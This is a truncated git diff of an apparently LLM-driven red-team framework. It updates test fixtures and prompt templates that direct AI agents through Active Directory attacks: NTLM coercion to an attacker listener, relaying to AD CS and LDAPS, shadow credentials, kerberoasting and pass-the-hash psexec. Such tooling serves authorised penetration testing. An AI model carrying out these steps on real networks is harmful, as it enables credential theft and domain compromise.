a/ares-cli/src/orchestrator/tool_dispatcher/tests.rs +++ b/ares-cli/src/orchestrator/tool_dispatcher/tests.rs @@ -140,7 +140,7 @@ fn extract_credential_key_uses_unknown_when_domain_missing() { let call = ares_llm::ToolCall { id: "1".into(), name: "secretsdump".into(), - arguments: serde_json::json!({"username": "admin", "target": "10.0.0.1"}), + arguments: serde_json::json!({"username": "admin", "target": "192.168.58.10"}), }; let key = extract_credential_key(&call).expect("key extracted"); assert_eq!(key, "admin@unknown"); @@ -276,12 +276,12 @@ fn tool_exec_response_with_discoveries_field() { "call_id":"c", "output":"out", "error":null, - "discoveries":{"hosts":[{"ip":"10.0.0.1"}]} + "discoveries":{"hosts":[{"ip":"192.168.58.10"}]} }"#; let resp: ToolExecResponse = serde_json::from_str(json).unwrap(); assert!(resp.discoveries.is_some()); let disc = resp.discoveries.unwrap(); - assert_eq!(disc["hosts"][0]["ip"], "10.0.0.1"); + assert_eq!(disc["hosts"][0]["ip"], "192.168.58.10"); } #[test] @@ -385,7 +385,7 @@ async fn push_realtime_discoveries_pushes_credentials_with_input_context() { async fn push_realtime_discoveries_handles_multiple_types() { let q = mock_queue(); let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}], + "hosts": [{"ip": "192.168.58.10"}], "credentials": [{"username": "u"}], "hashes": [{"hash": "aad3..."}], "vulnerabilities": [{"id": "CVE-1"}], @@ -450,9 +450,9 @@ async fn push_realtime_discoveries_skips_non_array_fields() { async fn push_realtime_discoveries_no_input_context_when_args_lack_username() { let q = mock_queue(); let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}] + "hosts": [{"ip": "192.168.58.10"}] }); - let args = serde_json::json!({"target": "10.0.0.0/24"}); + let args = serde_json::json!({"target": "192.168.58.0/24"}); push_realtime_discoveries(&q, "op-5", &discoveries, "nmap_scan", &args).await; @@ -469,7 +469,7 @@ async fn push_realtime_discoveries_no_input_context_when_args_lack_username() { async fn push_realtime_discoveries_uses_user_alias_when_username_missing() { let q = mock_queue(); let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}] + "hosts": [{"ip": "192.168.58.10"}] }); // Some tools call it "user" instead of "username" let args = serde_json::json!({"user": "fallback_user", "domain": "d"}); @@ -583,14 +583,14 @@ fn build_tool_exec_request_carries_all_inputs() { "nmap_scan_abc".into(), "task-1", "nmap_scan", - serde_json::json!({"target": "10.0.0.1"}), + serde_json::json!({"target": "192.168.58.10"}), Some("00-trace-span-01".into()), Some("op-2026".into()), ); assert_eq!(req.call_id, "nmap_scan_abc"); assert_eq!(req.task_id, "task-1"); assert_eq!(req.tool_name, "nmap_scan"); - assert_eq!(req.arguments["target"], "10.0.0.1"); + assert_eq!(req.arguments["target"], "192.168.58.10"); assert_eq!(req.traceparent.as_deref(), Some("00-trace-span-01")); assert_eq!(req.operation_id.as_deref(), Some("op-2026")); } @@ -614,12 +614,12 @@ fn tool_exec_result_from_response_passes_through_all_fields() { call_id: "c".into(), output: "out".into(), error: None, - discoveries: Some(serde_json::json!({"hosts": [{"ip": "10.0.0.1"}]})), + discoveries: Some(serde_json::json!({"hosts": [{"ip": "192.168.58.10"}]})), }; let r = tool_exec_result_from_response(resp); assert_eq!(r.output, "out"); assert!(r.error.is_none()); - assert_eq!(r.discoveries.unwrap()["hosts"][0]["ip"], "10.0.0.1"); + assert_eq!(r.discoveries.unwrap()["hosts"][0]["ip"], "192.168.58.10"); } #[test] diff --git a/ares-cli/src/worker/task_loop/result_handler.rs b/ares-cli/src/worker/task_loop/result_handler.rs index 9ea651ac..03d92bbc 100644 --- a/ares-cli/src/worker/task_loop/result_handler.rs +++ b/ares-cli/src/worker/task_loop/result_handler.rs @@ -289,7 +289,7 @@ mod tests { #[test] fn build_task_result_success_merges_discoveries_into_payload() { let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}], + "hosts": [{"ip": "192.168.58.10"}], "credentials": [{"username": "alice"}], }); let ar = AgentResult { @@ -430,14 +430,14 @@ mod tests { #[test] fn build_running_status_extra_includes_all_metadata() { let cfg = worker_config_for_test(); - let payload = serde_json::json!({"target": "10.0.0.1"}); + let payload = serde_json::json!({"target": "192.168.58.10"}); let extra = build_running_status_extra(&cfg, "recon", &payload, "2026-04-29T20:00:00Z"); assert_eq!(extra["operation_id"], "op-2026"); assert_eq!(extra["role"], "recon"); assert_eq!(extra["agent_name"], "ares-recon-0"); assert_eq!(extra["pod_name"], "pod-0"); assert_eq!(extra["task_type"], "recon"); - assert_eq!(extra["payload"]["target"], "10.0.0.1"); + assert_eq!(extra["payload"]["target"], "192.168.58.10"); assert_eq!(extra["started_at"], "2026-04-29T20:00:00Z"); assert!(extra.get("ended_at").is_none()); } diff --git a/ares-cli/src/worker/tool_executor.rs b/ares-cli/src/worker/tool_executor.rs index 68f604ca..7c66720f 100644 --- a/ares-cli/src/worker/tool_executor.rs +++ b/ares-cli/src/worker/tool_executor.rs @@ -663,7 +663,7 @@ mod tests { #[test] fn discoveries_or_none_keeps_non_empty_object() { - let v = serde_json::json!({"hosts": [{"ip": "10.0.0.1"}]}); + let v = serde_json::json!({"hosts": [{"ip": "192.168.58.10"}]}); let kept = discoveries_or_none(v.clone()); assert!(kept.is_some()); assert_eq!(kept.unwrap(), v); @@ -711,7 +711,7 @@ mod tests { #[test] fn build_success_response_carries_discoveries_when_present() { - let disc = serde_json::json!({"hosts": [{"ip": "10.0.0.1"}]}); + let disc = serde_json::json!({"hosts": [{"ip": "192.168.58.10"}]}); let resp = build_success_response( "call-4", true, @@ -765,7 +765,7 @@ mod tests { #[test] fn count_discovery_entries_returns_per_type_counts() { let discoveries = serde_json::json!({ - "hosts": [{"ip": "10.0.0.1"}, {"ip": "10.0.0.2"}], + "hosts": [{"ip": "192.168.58.10"}, {"ip": "192.168.58.11"}], "credentials": [{"username": "alice"}], }); let mut entries = count_discovery_entries(&discoveries); diff --git a/ares-core/src/config/mod.rs b/ares-core/src/config/mod.rs index 53da9893..77937248 100644 --- a/ares-core/src/config/mod.rs +++ b/ares-core/src/config/mod.rs @@ -267,22 +267,21 @@ security: assert_eq!(cfg.model_for_role("new_role"), Some("gpt-4o-mini")); } + // Both ARES_CONFIG cases live in one test — splitting them races on the + // shared process-wide env var when cargo runs tests in parallel. #[test] - fn from_env_with_env_var() { + fn from_env_respects_ares_config() { let f = write_temp_yaml(MINIMAL_YAML); - // Temporarily set env var let path_str = f.path().to_string_lossy().to_string(); + std::env::set_var("ARES_CONFIG", &path_str); let cfg = AresConfig::from_env().unwrap(); assert_eq!(cfg.operation.name, "test-op"); - std::env::remove_var("ARES_CONFIG"); - } - #[test] - fn from_env_missing_file() { std::env::set_var("ARES_CONFIG", "/nonexistent/path/config.yaml"); let result = AresConfig::from_env(); assert!(result.is_err()); + std::env::remove_var("ARES_CONFIG"); } diff --git a/ares-llm/examples/smoke_test.rs b/ares-llm/examples/smoke_test.rs index b234ed41..f8330ea4 100644 --- a/ares-llm/examples/smoke_test.rs +++ b/ares-llm/examples/smoke_test.rs @@ -14,12 +14,12 @@ use anyhow::Result; use serde_json::json; use ares_llm::prompt::generate_task_prompt; -use ares_llm::prompt::templates::{render_agent_instructions, TEMPLATE_RECON}; +use ares_llm::prompt::templates::{render_agent_instructions, OperationContext, TEMPLATE_RECON}; use ares_llm::tool_registry::{tools_for_role, AgentRole}; use ares_llm::{ - run_agent_loop, AgentLoopConfig, CallbackHandler, ContextConfig, LlmError, LlmProvider, - LlmRequest, LlmResponse, RetryConfig, StopReason, TokenUsage, ToolCall, ToolDefinition, - ToolDispatcher, ToolExecResult, + run_agent_loop, AgentLoopConfig, CallbackHandler, LlmError, LlmProvider, LlmRequest, + LlmResponse, LoopEndReason, StopReason, TokenUsage, ToolCall, ToolDefinition, ToolDispatcher, + ToolExecResult, }; struct MockProvider { @@ -130,7 +130,18 @@ async fn main() -> Result<()> { "enumerate_users".to_string(), "run_bloodhound".to_string(), ]; - let system_prompt = render_agent_instructions(TEMPLATE_RECON, &capabilities, false, &[])?; + let system_prompt = render_agent_instructions( + TEMPLATE_RECON, + &capabilities, + false, + &[], + OperationContext { + target_domain: "contoso.local", + target_dc_ip: "192.168.58.10", + target_dc_fqdn: "dc01.contoso.local", + listener_ip: "192.168.58.50", + }, + )?; assert!(!system_prompt.is_empty()); println!( "[OK] System prompt rendered ({} chars)", @@ -159,14 +170,10 @@ async fn main() -> Result<()> { let config = AgentLoopConfig { model: "mock".into(), max_steps: 10, - max_tokens: 4096, - temperature: None, - retry: RetryConfig::default(), - context: ContextConfig::default(), - max_tool_calls_per_name: 10, ..AgentLoopConfig::default() }; + let callbacks: Option> = None; let outcome = run_agent_loop( &provider, dispatcher, @@ -176,7 +183,7 @@ async fn main() -> Result<()> { "recon", "t-smoke-1", &tools, - None::>, + callbacks, None, ) .await; @@ -191,18 +198,12 @@ async fn main() -> Result<()> { ); println!(" Discoveries: {} batch(es)", outcome.discoveries.len()); - // Verify the loop ended with task_complete - match &outcome.reason { - ares_llm::LoopEndReason::TaskComplete { task_id, result } => { - assert_eq!(task_id, "t-smoke-1"); - assert!(result.contains("Port scan complete")); - println!("\n[OK] Agent loop completed task '{task_id}'"); - } - other => { - eprintln!("\n[FAIL] Expected TaskComplete, got: {other:?}"); - std::process::exit(1); - } - } + let LoopEndReason::TaskComplete { task_id, result } = &outcome.reason else { + panic!("expected TaskComplete, got: {:?}", outcome.reason); + }; + assert_eq!(task_id, "t-smoke-1"); + assert!(result.contains("Port scan complete")); + println!("\n[OK] Agent loop completed task '{task_id}'"); assert_eq!(outcome.steps, 2); assert_eq!(outcome.tool_calls_dispatched, 1); // nmap_scan only; task_complete is callback diff --git a/ares-llm/src/prompt/blue.rs b/ares-llm/src/prompt/blue.rs index 6d2b579c..c3fab6aa 100644 --- a/ares-llm/src/prompt/blue.rs +++ b/ares-llm/src/prompt/blue.rs @@ -180,6 +180,7 @@ pub fn build_blue_system_prompt( capabilities, false, &[], + templates::OperationContext::EMPTY, &extras, ) } diff --git a/ares-llm/src/prompt/exploit/mssql.rs b/ares-llm/src/prompt/exploit/mssql.rs index e8d923ed..2637148f 100644 --- a/ares-llm/src/prompt/exploit/mssql.rs +++ b/ares-llm/src/prompt/exploit/mssql.rs @@ -20,12 +20,27 @@ pub(crate) fn generate_mssql_lateral_prompt( target: &str, ) -> anyhow::Result { let domain = payload.get("domain").and_then(|v| v.as_str()).unwrap_or(""); + // When auto_mssql_exploitation dispatches a follow-up for a discovered + // `mssql_linked_server` vuln, the linked-server name is in the payload. + // The template renders it as a real value so the LLM never has to copy + // the name out of `mssql_enum_linked_servers` output. + let linked_server = payload + .get("linked_server") + .and_then(|v| v.as_str()) + .unwrap_or(""); let creds_section = build_creds_section(payload, state); + let (sample_username, sample_password) = first_sample_credential(payload, state, domain); + + let listener_ip = state.map(|s| s.listener_ip.as_str()).unwrap_or(""); let mut ctx = Context::new(); ctx.insert("target", target); ctx.insert("domain", domain); + ctx.insert("linked_server", linked_server); + ctx.insert("listener_ip", listener_ip); + ctx.insert("sample_username", &sample_username); + ctx.insert("sample_password", &sample_password); if !creds_section.is_empty() { ctx.insert("creds_section", &creds_section); } @@ -64,9 +79,15 @@ pub(crate) fn generate_mssql_prompt( } } + let domain = payload.get("domain").and_then(|v| v.as_str()).unwrap_or(""); + let (sample_username, sample_password) = first_sample_credential(payload, state, domain); + let mut ctx = Context::new(); ctx.insert("base_prompt", base_prompt); ctx.insert("target", target); + ctx.insert("domain", domain); + ctx.insert("sample_username", &sample_username); + ctx.insert("sample_password", &sample_password); if !creds_section.is_empty() { ctx.insert("creds_section", &creds_section); } @@ -75,6 +96,62 @@ pub(crate) fn generate_mssql_prompt( render_template_with_context(TASK_EXPLOIT_MSSQL, &ctx) } +/// Pick the first credential to use as a worked example in a tool-call +/// template. Prefers `available_credentials` from the payload (already +/// pre-filtered for the task), then `all_credentials`, then any state +/// credential matching the task's domain. Empty strings if nothing usable. +fn first_sample_credential( + payload: &Value, + state: Option<&StateSnapshot>, + domain: &str, +) -> (String, String) { + let take = |arr: &[Value]| -> Option<(String, String)> { + arr.iter() + .find(|c| { + c.get("password") + .and_then(|v| v.as_str()) + .map(|p| !p.is_empty()) + .unwrap_or(false) + }) + .map(|c| { + ( + c.get("username") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(), + c.get("password") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(), + ) + }) + }; + + if let Some(arr) = payload + .get("available_credentials") + .and_then(|v| v.as_array()) + { + if let Some(found) = take(arr) { + return found; + } + } + if let Some(arr) = payload.get("all_credentials").and_then(|v| v.as_array()) { + if let Some(found) = take(arr) { + return found; + } + } + if let Some(s) = state { + let domain_lower = domain.to_lowercase(); + if let Some(c) = s.credentials.iter().find(|c| { + !c.password.is_empty() + && (domain_lower.is_empty() || c.domain.to_lowercase() == domain_lower) + }) { + return (c.username.clone(), c.password.clone()); + } + } + (String::new(), String::new()) +} + /// Build the credentials section for MSSQL lateral enumeration. fn build_creds_section(payload: &Value, state: Option<&StateSnapshot>) -> String { let mut creds_section = String::new(); diff --git a/ares-llm/src/prompt/exploit/trust.rs b/ares-llm/src/prompt/exploit/trust.rs index 245f9ed9..2afdfc03 100644 --- a/ares-llm/src/prompt/exploit/trust.rs +++ b/ares-llm/src/prompt/exploit/trust.rs @@ -76,8 +76,13 @@ pub(crate) fn generate_trust_key_prompt( .ends_with(&format!(".{}", trusted_domain.to_lowercase()))); let has_trust_key = !trust_key.is_empty(); - let needs_source_sid = source_sid.is_empty(); - let needs_target_sid = target_sid.is_empty(); + let has_source_sid = !source_sid.is_empty(); + let has_target_sid = !target_sid.is_empty(); + // The forge step requires real values for all three. If anything is + // missing the template renders only the prerequisite tool calls; the + // orchestrator's `auto_trust_follow` re-dispatches the forge task once + // the missing values land in state, so the LLM never sees a placeholder. + let can_forge = has_trust_key && has_source_sid && has_target_sid; // Compute dynamic step numbers let mut step = 1u32; @@ -86,11 +91,13 @@ pub(crate) fn generate_trust_key_prompt( step += 1; } let step_sid = step; - if needs_source_sid || needs_target_sid { + if !has_source_sid || !has_target_sid { step += 1; } let step_forge = step; - step += 1; + if can_forge { + step += 1; + } let step_secretsdump = step; step += 1; let step_raise_child = step; @@ -106,33 +113,6 @@ pub(crate) fn generate_trust_key_prompt( .and_then(|v| v.as_str()) .unwrap_or(dc_ip); - let trust_key_or_placeholder = if has_trust_key { - trust_key - } else { - "" - }; - - let trust_key_val = if has_trust_key { - trust_key - } else { - "" - }; - let source_sid_val = if source_sid.is_empty() { - "" - } else { - source_sid - }; - let target_sid_val = if target_sid.is_empty() { - "" - } else { - target_sid - }; - let extra_sid_val = if target_sid.is_empty() { - "" - } else { - target_sid - }; - // Admin hash for hash-based raiseChild auth (used when password is empty) let admin_hash = payload .get("admin_hash") @@ -148,16 +128,16 @@ pub(crate) fn generate_trust_key_prompt( ctx.insert("password", password); ctx.insert("has_trust_key", &has_trust_key); ctx.insert("trust_key", trust_key); - ctx.insert("needs_source_sid", &needs_source_sid); - ctx.insert("needs_target_sid", &needs_target_sid); + ctx.insert("has_source_sid", &has_source_sid); + ctx.insert("has_target_sid", &has_target_sid); + ctx.insert("can_forge", &can_forge); + // Convenience aliases for the template — only meaningful when has_*_sid + // is true; the template guards every use behind that check. + ctx.insert("source_sid", source_sid); + ctx.insert("target_sid", target_sid); ctx.insert("is_child_to_parent", &is_child_to_parent); ctx.insert("trusted_domain_prefix", &trusted_domain_prefix); ctx.insert("target_dc_hint", target_dc_hint); - ctx.insert("trust_key_or_placeholder", trust_key_or_placeholder); - ctx.insert("trust_key_val", trust_key_val); - ctx.insert("source_sid_val", source_sid_val); - ctx.insert("target_sid_val", target_sid_val); - ctx.insert("extra_sid_val", extra_sid_val); ctx.insert("admin_hash", admin_hash); ctx.insert("step_extract", &step_extract); ctx.insert("step_sid", &step_sid); diff --git a/ares-llm/src/prompt/mod.rs b/ares-llm/src/prompt/mod.rs index d7528eda..6eb9f7b5 100644 --- a/ares-llm/src/prompt/mod.rs +++ b/ares-llm/src/prompt/mod.rs @@ -49,6 +49,23 @@ pub struct StateSnapshot { /// delegation or RBCD vulnerabilities. Agents must NOT use these /// credentials for generic auth — they are reserved for S4U. pub delegation_accounts: std::collections::HashSet, + /// Operator-configured primary target domain (FQDN, e.g. `contoso.local`). + /// Empty if no Target is configured. Injected into agent prompt templates + /// so example tool calls show the real operation domain instead of a + /// generic literal that the LLM may copy verbatim into actual calls. + pub target_domain: String, + /// IP of the primary target DC. Empty if not yet known. Same purpose as + /// `target_domain` — replaces literal `192.168.58.x` examples in prompts. + pub target_dc_ip: String, + /// FQDN of the primary target DC (e.g. `dc01.contoso.local`). Falls back + /// to `target_domain` when no DC hostname is known. Used for tool call + /// examples that need an FQDN target (e.g. SPNs, Kerberos targets). + pub target_dc_fqdn: String, + /// Orchestrator listener IP (resolved from `ARES_LISTENER_IP` or + /// auto-detected). Empty if unset. Mirrored into the snapshot so task + /// prompt templates can render `listener=...` in tool-call examples + /// without threading the value through every renderer. + pub listener_ip: String, } /// Generate a task prompt from a task type and JSON payload. diff --git a/ares-llm/src/prompt/templates.rs b/ares-llm/src/prompt/templates.rs index 51c369f1..a46cc7ec 100644 --- a/ares-llm/src/prompt/templates.rs +++ b/ares-llm/src/prompt/templates.rs @@ -319,6 +319,38 @@ static TEMPLATES: LazyLock = LazyLock::new(|| { tera }); +/// Operation context fields injected into agent and system prompt templates so +/// example tool calls show real operation values instead of generic literals +/// the LLM might copy verbatim. +#[derive(Debug, Clone, Copy)] +pub struct OperationContext<'a> { + /// Primary target FQDN (e.g. `contoso.local`) + pub target_domain: &'a str, + /// Primary target DC IP + pub target_dc_ip: &'a str, + /// Primary target DC FQDN + pub target_dc_fqdn: &'a str, + /// Listener IP for callback-style tools + pub listener_ip: &'a str, +} + +impl OperationContext<'_> { + /// All-empty context, for templates that don't reference operation values. + pub const EMPTY: Self = Self { + target_domain: "", + target_dc_ip: "", + target_dc_fqdn: "", + listener_ip: "", + }; + + fn insert_into(&self, ctx: &mut Context) { + ctx.insert("target_domain", self.target_domain); + ctx.insert("target_dc_ip", self.target_dc_ip); + ctx.insert("target_dc_fqdn", self.target_dc_fqdn); + ctx.insert("listener_ip", self.listener_ip); + } +} + /// Render an agent instruction template with the given context variables. /// /// Used for role-based system prompts (recon, credential_access, cracker, etc.) @@ -329,17 +361,20 @@ static TEMPLATES: LazyLock = LazyLock::new(|| { /// * `capabilities` - List of tool names available to this agent role /// * `multi_forest_mode` - Whether multi-forest operation is active /// * `undominated_forests` - Forest names not yet dominated (for orchestrator) +/// * `op` - Operation context injected into example tool calls pub fn render_agent_instructions( template_name: &str, capabilities: &[String], multi_forest_mode: bool, undominated_forests: &[String], + op: OperationContext<'_>, ) -> Result { render_agent_instructions_with_extras( template_name, capabilities, multi_forest_mode, undominated_forests, + op, &[], ) } @@ -351,12 +386,14 @@ pub fn render_agent_instructions_with_extras( capabilities: &[String], multi_forest_mode: bool, undominated_forests: &[String], + op: OperationContext<'_>, extras: &[(&str, &str)], ) -> Result { let mut ctx = Context::new(); ctx.insert("capabilities", capabilities); ctx.insert("multi_forest_mode", &multi_forest_mode); ctx.insert("undominated_forests", undominated_forests); + op.insert_into(&mut ctx); for (k, v) in extras { ctx.insert(*k, v); } @@ -371,9 +408,11 @@ pub fn render_agent_instructions_with_extras( /// - `all_capabilities`: map of role → tool list. Falls back to hardcoded defaults if None. /// - `technique_priorities`: sorted list of (technique, weight) pairs for the priority table. /// If provided, renders a dynamic "ATTACK FALLBACK CHAINS" section. +/// - `op`: operation context injected into example tool calls. pub fn render_system_instructions( all_capabilities: Option<&HashMap>>, technique_priorities: Option<&[(String, i32)]>, + op: OperationContext<'_>, ) -> Result { let mut ctx = Context::new(); if let Some(caps) = all_capabilities { @@ -382,6 +421,7 @@ pub fn render_system_instructions( if let Some(priorities) = technique_priorities { ctx.insert("technique_priorities", priorities); } + op.insert_into(&mut ctx); TEMPLATES .render(TEMPLATE_SYSTEM_INSTRUCTIONS, &ctx) @@ -418,6 +458,13 @@ pub fn render_task_template( mod tests { use super::*; + const TEST_OP: OperationContext<'static> = OperationContext { + target_domain: "contoso.local", + target_dc_ip: "192.168.58.10", + target_dc_fqdn: "dc01.contoso.local", + listener_ip: "192.168.58.50", + }; + #[test] fn render_recon_template() { let capabilities = vec![ @@ -425,7 +472,8 @@ mod tests { "enumerate_users".to_string(), "run_bloodhound".to_string(), ]; - let result = render_agent_instructions(TEMPLATE_RECON, &capabilities, false, &[]).unwrap(); + let result = + render_agent_instructions(TEMPLATE_RECON, &capabilities, false, &[], TEST_OP).unwrap(); assert!(result.contains("RECON Worker Agent")); assert!(result.contains("- nmap_scan")); @@ -435,7 +483,7 @@ mod tests { #[test] fn render_recon_empty_capabilities() { - let result = render_agent_instructions(TEMPLATE_RECON, &[], false, &[]).unwrap(); + let result = render_agent_instructions(TEMPLATE_RECON, &[], false, &[], TEST_OP).unwrap(); assert!(result.contains("RECON Worker Agent")); assert!(result.contains("## Available Tools")); } @@ -443,9 +491,14 @@ mod tests { #[test] fn render_credential_access_template() { let capabilities = vec!["secretsdump".to_string(), "kerberoast".to_string()]; - let result = - render_agent_instructions(TEMPLATE_CREDENTIAL_ACCESS, &capabilities, false, &[]) - .unwrap(); + let result = render_agent_instructions( + TEMPLATE_CREDENTIAL_ACCESS, + &capabilities, + false, + &[], + TEST_OP, + ) + .unwrap(); assert!(result.contains("Credential Access Agent")); assert!(result.contains("- secretsdump")); assert!(result.contains("- kerberoast")); @@ -455,7 +508,8 @@ mod tests { fn render_cracker_template() { let capabilities = vec!["crack_with_hashcat".to_string()]; let result = - render_agent_instructions(TEMPLATE_CRACKER, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_CRACKER, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Hash Cracker Agent")); assert!(result.contains("- crack_with_hashcat")); } @@ -463,7 +517,8 @@ mod tests { #[test] fn render_acl_template() { let capabilities = vec!["pywhisker".to_string(), "dacl_edit".to_string()]; - let result = render_agent_instructions(TEMPLATE_ACL, &capabilities, false, &[]).unwrap(); + let result = + render_agent_instructions(TEMPLATE_ACL, &capabilities, false, &[], TEST_OP).unwrap(); assert!(result.contains("ACL Exploitation Agent")); assert!(result.contains("- pywhisker")); } @@ -472,7 +527,8 @@ mod tests { fn render_privesc_template() { let capabilities = vec!["certipy_find".to_string(), "s4u_attack".to_string()]; let result = - render_agent_instructions(TEMPLATE_PRIVESC, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_PRIVESC, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Privilege Escalation Agent")); assert!(result.contains("- certipy_find")); } @@ -481,7 +537,8 @@ mod tests { fn render_lateral_template() { let capabilities = vec!["psexec".to_string(), "evil_winrm".to_string()]; let result = - render_agent_instructions(TEMPLATE_LATERAL, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_LATERAL, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Lateral Movement Agent")); assert!(result.contains("- psexec")); } @@ -490,7 +547,8 @@ mod tests { fn render_coercion_template() { let capabilities = vec!["petitpotam".to_string(), "start_responder".to_string()]; let result = - render_agent_instructions(TEMPLATE_COERCION, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_COERCION, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Coercion Agent")); assert!(result.contains("- petitpotam")); } @@ -499,7 +557,8 @@ mod tests { fn render_orchestrator_template() { let capabilities = vec!["dispatch_recon".to_string()]; let result = - render_agent_instructions(TEMPLATE_ORCHESTRATOR, &capabilities, false, &[]).unwrap(); + render_agent_instructions(TEMPLATE_ORCHESTRATOR, &capabilities, false, &[], TEST_OP) + .unwrap(); assert!(result.contains("Red Team Orchestrator")); } @@ -517,14 +576,14 @@ mod tests { caps.insert("privesc".to_string(), vec!["certipy".to_string()]); caps.insert("lateral".to_string(), vec!["psexec".to_string()]); - let result = render_system_instructions(Some(&caps), None).unwrap(); + let result = render_system_instructions(Some(&caps), None, TEST_OP).unwrap(); assert!(result.contains("RECON")); assert!(result.contains("nmap_scan")); } #[test] fn render_system_instructions_without_capabilities() { - let result = render_system_instructions(None, None).unwrap(); + let result = render_system_instructions(None, None, TEST_OP).unwrap(); // Falls back to hardcoded defaults assert!(result.contains("nmap, netexec, rpcclient")); // Hardcoded fallback table @@ -541,7 +600,7 @@ mod tests { ("esc1".to_string(), 5), ("acl_abuse".to_string(), 6), ]; - let result = render_system_instructions(None, Some(&priorities)).unwrap(); + let result = render_system_instructions(None, Some(&priorities), TEST_OP).unwrap(); // Dynamic table rendered assert!( result.contains("operator strategy"), @@ -630,7 +689,7 @@ mod tests { #[test] fn invalid_template_name() { - let result = render_agent_instructions("nonexistent", &[], false, &[]); + let result = render_agent_instructions("nonexistent", &[], false, &[], TEST_OP); assert!(result.is_err()); } } diff --git a/ares-llm/templates/redteam/agents/acl.md.tera b/ares-llm/templates/redteam/agents/acl.md.tera index 8fbe7438..880ae8ab 100644 --- a/ares-llm/templates/redteam/agents/acl.md.tera +++ b/ares-llm/templates/redteam/agents/acl.md.tera @@ -41,13 +41,13 @@ When you have these permissions on a user/computer: 1. **Shadow Credentials** (BEST - one step to hash) ``` - pywhisker(target_samaccountname="targetuser", domain="contoso.local", username="user", password="pass", dc_ip="192.168.58.10") + pywhisker(target_samaccountname="targetuser", domain="{{ target_domain }}", username="user", password="pass", dc_ip="{{ target_dc_ip }}") → Use generated PFX with certipy_auth (from PrivEsc) to get NTLM hash ``` 2. **Targeted Kerberoast** ``` - targeted_kerberoast(target="targetuser", domain="contoso.local") + targeted_kerberoast(target="targetuser", domain="{{ target_domain }}") → Get TGS hash → Request crack from orchestrator ``` diff --git a/ares-llm/templates/redteam/agents/coercion.md.tera b/ares-llm/templates/redteam/agents/coercion.md.tera index 887c6fbc..d16494a1 100644 --- a/ares-llm/templates/redteam/agents/coercion.md.tera +++ b/ares-llm/templates/redteam/agents/coercion.md.tera @@ -40,14 +40,11 @@ Your role is to capture authentication traffic and coerce systems to authenticat ## Network Coercion ### Responder -Primary tool for capturing hashes: -``` -start_responder( - interface="" # Use the EXACT interface from your task (NOT eth0!) - analyze_mode=False # Set True for passive mode -) -``` -**IMPORTANT: Always use the interface value provided in your task prompt. Do NOT guess interface names.** +Primary tool for capturing hashes. Call `start_responder` with `analyze_mode=False` +(or `True` for passive) and the `interface` value taken verbatim from the task +prompt. The orchestrator dispatches each coercion task with the correct +interface in the payload — never guess (eth0 is rarely correct), never invoke +this without first confirming the task prompt named an interface. Captures: - NetNTLMv2 hashes from LLMNR queries @@ -55,13 +52,8 @@ Captures: - WPAD authentication ### mitm6 -IPv6-based attacks: -``` -start_mitm6( - domain="contoso.local", - interface="" # Use the EXACT interface from your task (NOT eth0!) -) -``` +IPv6-based attacks. Call `start_mitm6(domain="{{ target_domain }}", interface=...)` +with the `interface` value from your task prompt — same constraint as Responder. Captures: - DNS takeover via IPv6 @@ -74,8 +66,8 @@ Captures: Coerce DC to authenticate: ``` petitpotam( - target="dc.contoso.local", - listener="192.168.58.100" + target="{{ target_dc_fqdn }}", + listener="{{ listener_ip }}" ) ``` @@ -88,8 +80,8 @@ Use cases: Try multiple coercion methods: ``` coercer( - target="server.contoso.local", - listener="192.168.58.100" + target="{{ target_dc_fqdn }}", + listener="{{ listener_ip }}" ) ``` @@ -104,8 +96,8 @@ Tries: DFS-based coercion (MS-DFSNM): ``` dfscoerce( - target="server.contoso.local", - listener="192.168.58.100" + target="{{ target_dc_fqdn }}", + listener="{{ listener_ip }}" ) ``` @@ -113,8 +105,8 @@ dfscoerce( ### For ADCS ESC8 You handle the full ESC8 attack chain: -1. Start `ntlmrelayx_to_adcs(ca_host="ca.contoso.local", attacker_ip="YOUR_IP")` -2. Run `petitpotam(target="dc.contoso.local", listener="YOUR_IP")` to coerce DC +1. Start `ntlmrelayx_to_adcs` with `attacker_ip="{{ listener_ip }}"` and `ca_host` set to the CA FQDN reported by `certipy_find`. If `certipy_find` has not yet reported a CA, request a recon dispatch instead of guessing the CA host. +2. Run `petitpotam(target="{{ target_dc_fqdn }}", listener="{{ listener_ip }}")` to coerce DC 3. DC authenticates to relay, relay requests certificate from CA 4. Certificate is saved, use `certipy_auth` (on privesc) to get NTLM hash @@ -137,9 +129,9 @@ Relay to multiple SMB targets from a targets file: ### DHCPv6 + LDAP Relay (Create Computer for RBCD) Combine mitm6 with ntlmrelayx to create computer account: ``` -1. start_mitm6(domain="contoso.local", interface="") - → Poison DHCPv6 responses -2. ntlmrelayx_to_ldaps(dc_ip="192.168.58.10", delegate_access=True) +1. Run `start_mitm6` with `domain="{{ target_domain }}"` and the interface + from your task payload — poisons DHCPv6 responses. +2. ntlmrelayx_to_ldaps(dc_ip="{{ target_dc_ip }}", delegate_access=True) → Relay to LDAPS, create computer with RBCD rights 3. Wait for machine authentication (WPAD requests) 4. Use created computer for RBCD attack: diff --git a/ares-llm/templates/redteam/agents/lateral.md.tera b/ares-llm/templates/redteam/agents/lateral.md.tera index 8793586c..ea7cb4bd 100644 --- a/ares-llm/templates/redteam/agents/lateral.md.tera +++ b/ares-llm/templates/redteam/agents/lateral.md.tera @@ -46,40 +46,40 @@ Your role is to move through the network and extract credentials from compromise - If psexec fails with "access denied", you don't have admin rights on the target - Prefer pass-the-hash when available ``` - psexec(target="192.168.58.10", username="admin", hash="aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", domain="contoso.local") - psexec(target="192.168.58.10", username="admin", password="P@ssw0rd!", domain="contoso.local") + psexec(target="{{ 